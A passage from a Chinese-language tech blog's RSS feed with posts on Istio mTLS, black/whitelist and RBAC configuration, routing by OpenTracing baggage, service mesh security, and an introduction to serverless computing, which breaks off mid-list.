&lt;p&gt;其中 &lt;code&gt;target&lt;/code&gt; 是可选项，如果去掉的话，作用域将扩展到整个 Namespace。&lt;/p&gt;

&lt;h3 id=&#34;destinationrule&#34;&gt;DestinationRule&lt;/h3&gt;

&lt;p&gt;同样的一个例子里面的目标规则如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;networking.istio.io/v1alpha3&amp;quot;
kind: &amp;quot;DestinationRule&amp;quot;
metadata:
  name: &amp;quot;example-2&amp;quot;
spec:
  host: httpbin.bar.svc.cluster.local
  trafficPolicy:
    tls:
      mode: DISABLE
    portLevelSettings:
    - port:
        number: 1234
      tls:
        mode: ISTIO_MUTUAL
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个也很容易理解，这一规则用于指派对该地址的访问方式：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tls.mode = DISABLE&lt;/code&gt;，这个服务缺省是不开启 tls 支持的，如果取值 &lt;code&gt;ISTIO_MUTUAL&lt;/code&gt;，则代表这个地址（服务）的所有端口都开启 TLS。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;port...ISTIO_MUTUAL&lt;/code&gt;，只针对这一个端口启用 mTLS 支持。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;创建 Policy 之后，Citadel 会生成证书文件，并传递给 Envoy，我们可以在 Envoy 容器（kube-proxy）的 &lt;code&gt;/etc/certs/&lt;/code&gt; 目录中看到这几个 &lt;code&gt;*.pem&lt;/code&gt; 文件。如果使用 &lt;code&gt;openssl x509 -text -noout&lt;/code&gt; 查看 &lt;code&gt;cert-chain.pem&lt;/code&gt; 的证书内容，会看到 spiffe 编码的 ServiceAccount 内容来作为 SAN：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt; X509v3 Subject Alternative Name:
            URI:spiffe://cluster.local/ns/default/sa/default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;规则生效之后，原有的服务间调用是没有差异的，但是如果在网格之外，就必须 https，结合上面谈到的证书来访问目标服务才能完成访问。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;另外这里也提供了&lt;a href=&#34;https://istio.io/docs/tasks/security/plugin-ca-cert/&#34; target=&#34;_blank&#34;&gt;外部 CA 的支持&lt;/a&gt;，可以使用已有的证书体系来替换网格内的自签发体系。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;基于黑白名单的访问控制&#34;&gt;基于黑白名单的访问控制&lt;/h2&gt;

&lt;h3 id=&#34;黑名单&#34;&gt;黑名单&lt;/h3&gt;

&lt;p&gt;下面的例子来自&lt;a href=&#34;https://raw.githubusercontent.com/istio/istio/release-0.8/samples/bookinfo/kube/mixer-rule-deny-label.yaml&#34; target=&#34;_blank&#34;&gt;官方&lt;/a&gt;，禁止 Reviews 的 v3 版本访问 Ratings 服务。&lt;/p&gt;

&lt;p&gt;首先使用 &lt;code&gt;denier&lt;/code&gt; 适配器定义一个拒绝响应&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: denier
metadata:
  name: denyreviewsv3handler
spec:
  status:
    code: 7
    message: Not allowed
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里不需要额外属性输入，因此采用了 &lt;code&gt;checknothing&lt;/code&gt; 模板：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: checknothing
metadata:
  name: denyreviewsv3request
spec:
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后使用 &lt;code&gt;rule&lt;/code&gt; 对象把这两者联系起来，并配合一个表达式来使之生效：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: rule
metadata:
  name: denyreviewsv3
spec:
  match: destination.labels[&amp;quot;app&amp;quot;] == &amp;quot;ratings&amp;quot; &amp;amp;&amp;amp; source.labels[&amp;quot;app&amp;quot;]==&amp;quot;reviews&amp;quot; &amp;amp;&amp;amp; source.labels[&amp;quot;version&amp;quot;] == &amp;quot;v3&amp;quot;
  actions:
  - handler: denyreviewsv3handler.denier
    instances: [ denyreviewsv3request.checknothing ]
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;白名单&#34;&gt;白名单&lt;/h3&gt;

&lt;p&gt;官方案例设置了一个允许 &lt;code&gt;v2&lt;/code&gt; 和 &lt;code&gt;v3&lt;/code&gt; 版本访问 &lt;code&gt;ratings&lt;/code&gt; 服务的白名单。&lt;/p&gt;

&lt;p&gt;白名单适配器要使用的是 &lt;code&gt;listchecker&lt;/code&gt;，提供了一个允许访问的数组。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: listchecker
metadata:
  name: whitelist
spec:
  # providerUrl: 可以从外部 URL 获取列表内容
  overrides: [&amp;quot;v1&amp;quot;, &amp;quot;v2&amp;quot;]  # 静态列表
  blacklist: false
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;需要使用一个模板将 Pod 标签转换为 &lt;code&gt;listchecker&lt;/code&gt; 的版本列表。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: listentry
metadata:
  name: appversion
spec:
  value: source.labels[&amp;quot;version&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后使用 Rule 进行连接：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: rule
metadata:
  name: checkversion
spec:
  match: destination.labels[&amp;quot;app&amp;quot;] == &amp;quot;ratings&amp;quot;
  actions:
  - handler: whitelist.listchecker
    instances:
    - appversion.listentry
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：如果开启了 mTLS，可以使用 &lt;code&gt;source.user == &amp;quot;cluster.local/ns/default/sa/bookinfo-productpage&amp;quot;&lt;/code&gt; 的形式来匹配 ServiceAccount。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;rbac&#34;&gt;RBAC&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Helm 安装时，需要设置 &lt;code&gt;global.rbacEnabled: true&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;RBAC 提供较细粒度的访问控制。另外其中所使用的 &lt;code&gt;ServiceRole&lt;/code&gt; 和 &lt;code&gt;ServiceRoleBinding&lt;/code&gt; 也更直观、更加易于管理。&lt;/p&gt;

&lt;p&gt;例如来自&lt;a href=&#34;https://istio.io/docs/tasks/security/role-based-access-control/&#34; target=&#34;_blank&#34;&gt;官方 Task&lt;/a&gt; 的 &lt;code&gt;ServiceRole&lt;/code&gt; 定义，这个角色允许对指定服务进行只读访问：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: &amp;quot;config.istio.io/v1alpha2&amp;quot;
kind: ServiceRole
metadata:
  name: productpage-viewer
  namespace: default
spec:
  rules:
  - services: [&amp;quot;productpage.default.svc.cluster.local&amp;quot;]
    methods: [&amp;quot;GET&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果在 Namespace 级别进行设置，则可以这样：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
  rules:
  - services: [&amp;quot;*&amp;quot;]
    methods: [&amp;quot;GET&amp;quot;]
    constraints:
    - key: &amp;quot;app&amp;quot;
      values: [&amp;quot;productpage&amp;quot;]
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;和 Kubernetes 的 Rolebinding 类似，把用户和角色绑定起来，才能最后生效。&lt;/p&gt;

&lt;p&gt;例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  - user: alice@yahoo.com
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;或者&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  - properties:
      service: &amp;quot;reviews&amp;quot;
      namespace: &amp;quot;abc&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;subject&lt;/code&gt; 的内容，同样属于 Adapter 模型的实现范围，因此其可选项目仍然是由 Template 的输入产生的。具体样例可以参考 &lt;a href=&#34;https://github.com/istio/istio/blob/release-0.8/samples/bookinfo/kube/istio-rbac-enable.yaml&#34; target=&#34;_blank&#34;&gt;bookinfo 的 rbac 样板&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;jwt-认证&#34;&gt;JWT 认证&lt;/h2&gt;

&lt;p&gt;没有外部认证的需求，因此就先不理了 lol。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接：&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;安全任务：&lt;code&gt;https://istio.io/docs/tasks/security&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Istio RBAC 参考：&lt;code&gt;https://istio.io/docs/reference/config/istio.rbac.v1alpha1/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Istio Adapters 参考：&lt;code&gt;https://istio.io/docs/reference/config/policy-and-telemetry/adapters/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bookinfo 示例：&lt;code&gt;https://github.com/istio/istio/blob/release-0.8/samples/bookinfo/kube/&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>在 Istio 中使用 Opentracing Baggage 进行传播和路由</title>
      <link>/post/istio-routing-using-opentracing-baggage-distributed-context-propagation/</link>
      <pubDate>Fri, 08 Jun 2018 12:25:23 +0800</pubDate>
      <guid>/post/istio-routing-using-opentracing-baggage-distributed-context-propagation/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://medium.com/jaegertracing/istio-routing-using-opentracing-baggage-distributed-context-propagation-ed8d787a4bef&#34; target=&#34;_blank&#34;&gt;Istio Routing using OpenTracing Baggage/Distributed Context Propagation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://medium.com/@p.loffay?source=post_header_lockup&#34; target=&#34;_blank&#34;&gt;Pavol Loffay&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;现代服务网格架构提供了很多的新功能，基础设施相关的依赖部分被逐步从代码中移除，极大的降低了编码工作量。除此之外，这一架构的智能路由功能还把金丝雀发布以及类似功能大大的简化了。&lt;/p&gt;

&lt;p&gt;接下来的内容会探讨一下，Istio 路由规则是如何使用 Opentracing Baggage 的。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kiali-screen.jpg&#34; alt=&#34;kiali&#34; /&gt;&lt;/p&gt;

&lt;p&gt;想像一个场景，这个场景中我们需要通过 &lt;code&gt;User-Agent&lt;/code&gt; Header 来鉴别 Safari 用户，并把它们重定向到服务的一个特定版本去。这是一个典型的金丝雀场景：新版本发布时，首先开放给一部分用户。然而很明显只有第一个服务能够接收到 &lt;code&gt;User-Agent&lt;/code&gt; 头，如果路由规则中涉及到调用关系图中位置较低（靠后）的服务，就不得不把这个 Header 信息传播给所有途中经过的服务。这是一个分布式上下文传播的典型用例，很多跟踪系统都有这个功能。我们接下来会看看 &lt;a href=&#34;http://www.jaegertracing.io/&#34; target=&#34;_blank&#34;&gt;Jaeger&lt;/a&gt; 的 OpenTracing 实现。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/opentracing/specification/blob/master/specification.md#set-a-baggage-item&#34; target=&#34;_blank&#34;&gt;Baggage 条目&lt;/a&gt;是字符串组成的键值对，和 &lt;code&gt;Span/SpanContext&lt;/code&gt; 互相关联，在一个 Trace 的范围内，会在所有的下游 Span 中进行传播。&lt;/p&gt;

&lt;p&gt;如果你的网格中使用的是 OpenTracing，那么就已经有这个功能了；如果不是，那就有点不幸了：需要通过其他的 &lt;a href=&#34;https://istio.io/docs/tasks/telemetry/distributed-tracing/#understanding-what-happened&#34; target=&#34;_blank&#34;&gt;跟踪 Header&lt;/a&gt; 来传递 &lt;code&gt;User-Agent&lt;/code&gt; 值了，这样就需要修途经的所有服务。&lt;/p&gt;

&lt;p&gt;Istio 缺省使用的 &lt;a href=&#34;https://github.com/openzipkin/b3-propagation&#34; target=&#34;_blank&#34;&gt;B3&lt;/a&gt; 传播是没有提供 Baggage 头的。但是可以用 &lt;a href=&#34;https://github.com/openzipkin/brave&#34; target=&#34;_blank&#34;&gt;Brave&lt;/a&gt;（Zipkin 的 Java 客户端）来配置 Baggage 支持。一般会使用 &lt;code&gt;baggage-key:value&lt;/code&gt; 的格式。Jaeger 实现了一个 B3 解码器，也用同样的格式来处理 Baggage。可以在&lt;a href=&#34;https://github.com/jaegertracing/jaeger/issues/755#issuecomment-393929718&#34; target=&#34;_blank&#34;&gt;这里&lt;/a&gt;查看 B3 Baggage 实现的进度。&lt;/p&gt;

&lt;h2 id=&#34;demo&#34;&gt;Demo&lt;/h2&gt;

&lt;p&gt;可以在当前的活动 Span 中这样设置 Baggage：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;tracer.activeSpan().setBaggageItem(&amp;quot;user-agent&amp;quot;, userAgent);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这必须在第一个服务中完成。最后一个需要完成的任务就是定义一个识别 Baggage Header 的路由。下面的路由定义会查看请求是否包含了带有 &lt;code&gt;user-agent:Safari&lt;/code&gt; 条目的 Baggage，如果有，就进行转发：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: config.istio.io/v1alpha2
kind: RouteRule
metadata:
  name: recommendation-safari
spec:
  destination:
    namespace: tutorial
    name: recommendation
  precedence: 2
  match:
    request:
      headers:
        baggage-user-agent:
          regex: &amp;quot;.*Safari.*&amp;quot;  
  route:
  - labels:
      version: v2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果是新版本的 Istio（0.8.0 以后）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.istio.io/v1alpha3
kind: VirtualService
metadata:
  name: recommendation-safari
spec:
  hosts:
  - recommendation
  http:
  - match:
    - headers:
        baggage-user-agent:
          regex: &amp;quot;.*Safari.*&amp;quot;
    route:
     - destination:
        host: recommendation
        subset: v2
---
apiVersion: networking.istio.io/v1alpha3
kind: DestinationRule
metadata:
  name: recommendation-destination
spec:
  host: recommendation
  subsets:
  - name: v2
    labels:
      version: v2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;现在所有的配置都已经完成，Safari 用户会被重定向到推荐的 v2 服务。&lt;/p&gt;

&lt;p&gt;下面的视频进行了使用 OpenTracing Baggage 进行路由的演示，参见 &lt;a href=&#34;https://github.com/redhat-developer-demos/istio-tutorial&#34; target=&#34;_blank&#34;&gt;Redhat 的 Istio Tutorial&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://youtu.be/sEbs3zkUnK8&#34; target=&#34;_blank&#34;&gt;&lt;img src=&#34;images/yout.png&#34; alt=&#34;video&#34; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://opentracing.io/&#34; target=&#34;_blank&#34;&gt;OpenTracing&lt;/a&gt;：&lt;code&gt;http://opentracing.io/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/opentracing/specification/blob/master/specification.md#set-a-baggage-item&#34; target=&#34;_blank&#34;&gt;OpenTracing baggage 规范&lt;/a&gt;：&lt;code&gt;https://github.com/opentracing/specification/blob/master/specification.md#set-a-baggage-item&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/jaegertracing/jaeger/issues/755#issuecomment-393929718&#34; target=&#34;_blank&#34;&gt;Jaeger 客户端的 B3 Baggage 支持&lt;/a&gt;：&lt;code&gt;https://github.com/jaegertracing/jaeger/issues/755#issuecomment-393929718&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/redhat-developer-demos/istio-tutorial&#34; target=&#34;_blank&#34;&gt;OpenShift 的 Istio 教程&lt;/a&gt;：&lt;code&gt;https://github.com/redhat-developer-demos/istio-tutorial&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kiali.org/&#34; target=&#34;_blank&#34;&gt;Kiali&lt;/a&gt;: &lt;code&gt;https://kiali.org/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Service Mesh 安全：用 Istio 应对攻击</title>
      <link>/post/service-mesh-security-addressing-attack-vectors-with-istio/</link>
      <pubDate>Thu, 07 Jun 2018 10:10:21 +0800</pubDate>
      <guid>/post/service-mesh-security-addressing-attack-vectors-with-istio/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://aspenmesh.io/2018/06/service-mesh-security-addressing-attack-vectors-with-istio/&#34; target=&#34;_blank&#34;&gt;Service Mesh Security: Addressing Attack Vectors with Istio&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者： &lt;strong&gt;Zach Jory&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;把单体应用拆分为微服务之后，会得到不少好处，例如稳定性的提高、持续运行时间的增长以及更好的故障隔离等。然而把大应用拆分为小服务的过程中，也会引入一个风险就是——可能的受攻击面积变大了。从前单体应用中通过函数调用完成的通信，现在都要通过网络完成。提高安全性从而避免这个问题带来的安全影响，是微服务之路上必须要着重考虑的问题。&lt;/p&gt;

&lt;p&gt;Aspen Mesh 的基础是一个开源软件：&lt;a href=&#34;https://istio.io/&#34; target=&#34;_blank&#34;&gt;Istio&lt;/a&gt;，他的关键能力之一就是为微服务提供安全性和策略控制方面的支持。Istio 为 Service Mesh 增加了很多安全特性，但是这并不是说微服务的安全工作就结束了。网络安全策略也是需要着重考虑的问题（推荐阅读：&lt;a href=&#34;https://medium.com/lightspeed-venture-partners/in-the-land-of-microservices-the-network-is-the-king-maker-37de7ec4119a&#34; target=&#34;_blank&#34;&gt;In the land of microservices, the network is the king(maker)&lt;/a&gt;），结合网络策略，可以检测和应对针对服务网格基础设施的攻击，从而解决各种安全威胁。&lt;/p&gt;

&lt;p&gt;后面的内容将会看看 Istio 所能够解决的问题，其中包含边缘通信的流量控制、网格内通信加密以及 7 层策略控制等。&lt;/p&gt;

&lt;h2 id=&#34;边缘通信安全&#34;&gt;边缘通信安全&lt;/h2&gt;

&lt;p&gt;针对不当进入网格的流量，Istio 加入了一个用来进行监控和防范的安全层。Istio 以 Ingress Controller 的形式和 Kubernetes 进行了集成，并完成了 Ingress 的负载均衡任务。用户可以用 Ingress Rule 的方式加入安全控制。可以通过监控来了解进入网格的流量，并通过路由规则来管理非法的边缘通信。&lt;/p&gt;

&lt;p&gt;要保证只有认证用户通过，Istio 的 RBAC（基于角色的访问控制）提供了有弹性的、可定制的访问控制，这种能力在网格内提供了 namespace、service 以及服务方法一级的控制能力。RBAC 引擎监控和跟进 RBAC 策略的变更，在运行时根据 RBAC 策略，根据请求的上下文对请求进行鉴权，最后返回鉴权结果。&lt;/p&gt;

&lt;h2 id=&#34;通信加密&#34;&gt;通信加密&lt;/h2&gt;

&lt;p&gt;边缘通信的安全是个好的开始，但是如果有恶意份子突破了边缘之后，Istio 还为服务之间的通信提供了双向 TLS 认证能力。网格能够对请求和响应进行自动的加密和解密，开发人员就无需在此投入精力了。这个功能还通过对连接的优先复用，减少了连接过程中的运算消耗。&lt;/p&gt;

&lt;p&gt;除了客户端和服务器之间的认证和鉴权能力之外，还让用户能够理解和管理服务间的通信和加密。Istio 把证书和密钥自动分发给服务，代理使用这些输入来给流量进行加密（提供双向 TLS），并周期性的进行证书轮转，从而降低证书暴露造成的威胁。可以利用 TLS 来确认 Istio 中的通信双方的服务实例都是合法的，从而防止中间人攻击。&lt;/p&gt;

&lt;p&gt;Istio 使用 Citadel 来进行密钥管理和认证控制，简化了 TLS 过程。他让用户能够保护流量，同时给每个服务提供基于身份的验证和授权功能。&lt;/p&gt;

&lt;h2 id=&#34;策略控制和执行&#34;&gt;策略控制和执行&lt;/h2&gt;

&lt;p&gt;Istio 给用户在应用级执行策略的能力。对于服务路由、重试、断路以及安全来说，在这一层进行控制是非常恰当的。Istio 为用户提供了黑白名单功能来来对服务进行准入的控制。&lt;/p&gt;

&lt;p&gt;Istio Mixer 可以把扩展集成进系统，用户用标准化的表达式语言来来声明网络以及服务行为方面的约束策略。这样做的好处是，可以用通用 API 在服务边缘来缓存策略的决策结果，如果下游的策略系统出现故障，网络还能保持运行。&lt;/p&gt;

&lt;p&gt;Istio 解决了一些微服务特定的关键问题。例如只允许被批准的服务间通信，加密通信防止通信过程中的入侵，执行应用范围内的策略等。当然还有很多其他方式可以实现这些能力，Mesh 的好处在于将这些能力融会贯通，让用户使用一致的稳定的方式来完成这些任务。&lt;/p&gt;

&lt;p&gt;Aspen Mesh 中正在做一些新的功能，在 Istio 中为用户提供更好的安全能力。近期我们会在博客上发点东西，所以请关注 &lt;a href=&#34;https://aspenmesh.io/blog/&#34; target=&#34;_blank&#34;&gt;Aspen Mesh 博客&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>如何在企业中尝试无服务器技术</title>
      <link>/post/serverless-101-how-to-get-serverless-started-in-the-enterprise/</link>
      <pubDate>Thu, 07 Jun 2018 02:06:09 +0800</pubDate>
      <guid>/post/serverless-101-how-to-get-serverless-started-in-the-enterprise/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://thenewstack.io/serverless-101-how-to-get-serverless-started-in-the-enterprise/&#34; target=&#34;_blank&#34;&gt;Serverless 101: How to Get Serverless Started in the Enterprise&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://thenewstack.io/author/michelle_gienow/&#34; target=&#34;_blank&#34;&gt;Michelle Gienow&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;起初，世上有了&lt;a href=&#34;https://en.wikipedia.org/wiki/Bare-metal_server&#34; target=&#34;_blank&#34;&gt;裸机&lt;/a&gt;，这很好。&lt;/p&gt;

&lt;p&gt;独占的服务器很快、很可靠，也很安全——毕竟是独占。但是平心而论，这时候的配置和扩展非常麻烦。对于敏捷和弹性的渴望，催生了&lt;a href=&#34;https://en.wikipedia.org/wiki/Virtual_machine&#34; target=&#34;_blank&#34;&gt;虚拟机&lt;/a&gt;，云供应商们适时推出了&lt;a href=&#34;https://en.wikipedia.org/wiki/Infrastructure_as_a_service&#34; target=&#34;_blank&#34;&gt;IaaS（基础设施即服务）&lt;/a&gt;，云端+自助的模式也就自然而然的随之面世了。IaaS 的沃土中，产生了 &lt;a href=&#34;https://aws.amazon.com/&#34; target=&#34;_blank&#34;&gt;Amazon Web Services&lt;/a&gt;、编排技术、以及&lt;a href=&#34;https://en.wikipedia.org/wiki/Infrastructure_as_Code&#34; target=&#34;_blank&#34;&gt;基础设置即代码 (IaC: infrastructure as code)&lt;/a&gt;；容器化初露端倪、&lt;a href=&#34;https://en.wikipedia.org/wiki/Platform_as_a_service&#34; target=&#34;_blank&#34;&gt;PaaS（平台即服务）&lt;/a&gt;也应运而生。当然了，一切都很好，更好了。只不过，开发者们大声疾呼，他们需要语言无关的服务端点、水平伸缩以及实时的服务计费。&lt;/p&gt;

&lt;p&gt;祈祷有时候是有效的，这世界得到了一份大礼：无服务器计算，也被称为 &lt;a href=&#34;https://en.wikipedia.org/wiki/Function_as_a_service&#34; target=&#34;_blank&#34;&gt;Function as a Service (FaaS)&lt;/a&gt;。运行时部分只做执行，不保存数据。换个说法就是，AWS、&lt;a href=&#34;https://cloud.google.com/&#34; target=&#34;_blank&#34;&gt;Google Cloud&lt;/a&gt; 或者 &lt;a href=&#34;https://azure.microsoft.com/en-us/&#34; target=&#34;_blank&#34;&gt;Microsoft Azure&lt;/a&gt; 负责动态的管理资源的分配和分布。&lt;/p&gt;

&lt;p&gt;从前使用的基于预测的预付费服务方式已经不适合无服务器计算，取而代之的是根据实际用量进行的即时计费方案。2018 年开始，我们开始将其视为基础设施。&lt;/p&gt;

&lt;h2 id=&#34;并非魔法&#34;&gt;并非魔法&lt;/h2&gt;

&lt;p&gt;首先，这个名字很有误导性：无服务器计算不是魔法，并不是由神秘的月光驱动的——服务器还是需要的。&lt;/p&gt;

&lt;p&gt;这个说法大行其道的原因是，这一架构隐藏了服务器管理以及容量规划和决策等工作。无服务器计算中所谓的“无服务器”，是针对用户和开发者来说的，对他们来说，再也不用花力气、甚至不用知道基础设施了——服务器已经成为一个抽象概念了。无服务器架构中的代码可以和微服务这样的传统的代码部署一起使用——或者可以完全使用无服务器架构来构建应用，就完全不需要关注服务器的问题了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;无服务器架构的真正价值在于时间效率&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&#34;https://bitnami.com/&#34; target=&#34;_blank&#34;&gt;Bitnami&lt;/a&gt; 的云计算高级总监 &lt;a href=&#34;https://ch.linkedin.com/in/sebastien-goasguen-382b7b21&#34; target=&#34;_blank&#34;&gt;Sebastien Goasguen&lt;/a&gt; 说：“我认为这是一种最小化的 PaaS，一种类似胶水的软件”。“无服务器架构中的关键动作就是——从云中发生了事件，触发了函数的执行。”，Goasguen 描述了 AWS 中的一个场景：把图片保存到存储设施中，接下来调用一个函数来进行图片的缩放。无服务器系统中会处理把这些代码自动的注入到运行时环境中（服务器或者容器），然后进行公开，让函数可以被外部调用。&lt;/p&gt;

&lt;h2 id=&#34;不是魔法是什么&#34;&gt;不是魔法是什么？&lt;/h2&gt;

&lt;p&gt;传统云计算和无服务器计算的主要区别来自于客户：没人愿意为自己没使用的资源买单。从前我们需要对容量和资源需求进行预测，然后根据预测来采购基础设施——可能是自有也可能是公有云。我们前面的例子中，就是要在 AWS 启动服务器，令其保持就绪，这样才能随时使用这一服务来完成图片的缩放任务——只有在这时候才真正的调用了这一函数。&lt;/p&gt;

&lt;p&gt;无服务器计算服务把你的函数作为输入，执行其中的逻辑，然后返回函数的输出，最后关掉。用户只会收到函数执行期间的消费账单。&lt;/p&gt;

&lt;p&gt;随用随付，只为实际消费买单，这是个伟大创新。然而 Goasguen 和其他一些 Cloud Native 专家强调，无服务器技术的真正价值不在于成本效率，而在于时间效率 。&lt;/p&gt;

&lt;h2 id=&#34;好像时光机&#34;&gt;好像时光机？&lt;/h2&gt;

&lt;p&gt;是的有点像。或者更像一个通向未来的 Portal，无服务器技术让客户专注的用各种 AI、机器学习等神奇的新技术构建应用，而不是为了跟随时代步伐，永远的建设和翻新基础设施。&lt;/p&gt;

&lt;p&gt;无服务器技术的另外一个时光机的特性就是缩短从代码开发到生产运行的时间。简单到了一句话：“这是代码，拿去运行吧”，几乎没有基础设施方面的拖拖拉拉。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.oracle.com/index.html&#34; target=&#34;_blank&#34;&gt;Oracle&lt;/a&gt; 的无服务器技术副总裁 &lt;a href=&#34;https://www.linkedin.com/in/chadarimura&#34; target=&#34;_blank&#34;&gt;Chad Arimura&lt;/a&gt; 说：“基本思路，开发人员把编写好的代码推送给无服务器服务提供商，其余的部分交给服务商完成。”，另外他还补充说，常见的依赖内容，例如服务器和存储，也会在无服务器计算的环境中提供无缝支持。&lt;/p&gt;

&lt;p&gt;“幕后有专家团队和大量的自动化工具来运维这些系统，从而把开发者从这些问题中解脱出来”，Arimura 接下来说，“无服务器的魔术一般的体验，让这一概念的热度持续上升。“&lt;/p&gt;

&lt;h2 id=&#34;感受-faas-平台的力量&#34;&gt;感受 FaaS 平台的力量&lt;/h2&gt;

&lt;p&gt;Docker 简化了分布式应用的打包和依赖管理，Kubernetes 让企业能够在生产环境中运行这些应用，但是他们的易用性还是不够。Bitnami 的 Goasguen 说：”Dockerfile、基础设施的细节、Kubernetes 的清单——这些对开发思维的受众来说还是稍显复杂的。“&lt;/p&gt;

&lt;p&gt;无服务器计算的核心，就是 FaaS 平台。具体点说就是 &lt;a href=&#34;https://aws.amazon.com/lambda/&#34; target=&#34;_blank&#34;&gt;AWS Lambda&lt;/a&gt; 或者 &lt;a href=&#34;https://cloud.google.com/functions/&#34; target=&#34;_blank&#34;&gt;Google Cloud Function&lt;/a&gt;，所做的事情：资源管理、负载均衡以及多线程处理；而开发者只需要为雇主专注完成代码即可。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.iguazio.com/&#34; target=&#34;_blank&#34;&gt;iguaz.io&lt;/a&gt;  是一个致力于优化云端性能的持续数据平台，其创始人和 CTO &lt;a href=&#34;https://il.linkedin.com/in/yaronh&#34; target=&#34;_blank&#34;&gt;Yaron Haviv&lt;/a&gt; 提出：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;无服务器平台接收函数代码（FaaS 中的 &amp;ldquo;F&amp;rdquo;），为这些代码提供所有的依赖支持（库、内存、配置等），然后构建一个容器化的应用包（通常是 Docker 格式）。&lt;/li&gt;
&lt;li&gt;函数的触发方，可以是其他的平台服务，例如对象存储或者数据库；也可以是一个外部的 HTTP 请求。无服务器平台会把请求转发给一个可用的函数微服务上去。如果没有可用的实例，就部署一个——也就是冷启动。&lt;/li&gt;
